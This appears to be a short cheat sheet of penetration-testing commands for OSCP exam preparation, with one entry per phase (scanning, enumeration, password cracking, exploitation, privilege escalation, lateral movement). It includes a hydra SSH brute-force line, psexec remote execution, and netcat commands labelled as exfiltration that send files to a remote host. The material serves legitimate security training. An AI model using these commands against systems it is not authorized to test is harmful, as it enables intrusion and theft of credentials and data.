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Best Command to know for OSCP EXAM:



    Port scanning: nmap -sS -sV -p- -A -T4 <IP address> (to scan all TCP ports and gather information about the open ports and services, OS and version detection, and script scanning)
    Enumeration: enum4linux <IP address> (to gather information about SMB shares, users, and groups)
    Password cracking: hydra -l <username> -P <password file> <IP address> ssh (to crack SSH login credentials) or john --wordlist=<wordlist> <hash file> (to crack password hashes)
    Exploitation: msfconsole (to use Metasploit Framework)
    Privilege escalation: linenum.sh (to gather information about the system and possible privilege escalation vectors) or searchsploit <OS version> (to search for known exploits)
    Post-exploitation: netstat -anp (to gather information about open connections and running processes) or ps aux (to gather information about running processes)
    Lateral Movement: smbclient -L <ip> (to list shares on a remote host) or psexec <ip> -u <username> -p <password> (to execute commands on a remote Windows host)
    Exfiltration: nc -nvlp <port> (to start a listener for incoming data) or nc <ip> <port> < <file> (to send files)

Note: OSCP (Offensive Security Certified Professional) is a certification program that focus on hands-on penetration testing and the ability to think and act like a real-world attacker. 
These commands are not specific to the OSCP exam, but they are commonly used in penetration testing and can be useful to know for the OSCP certification.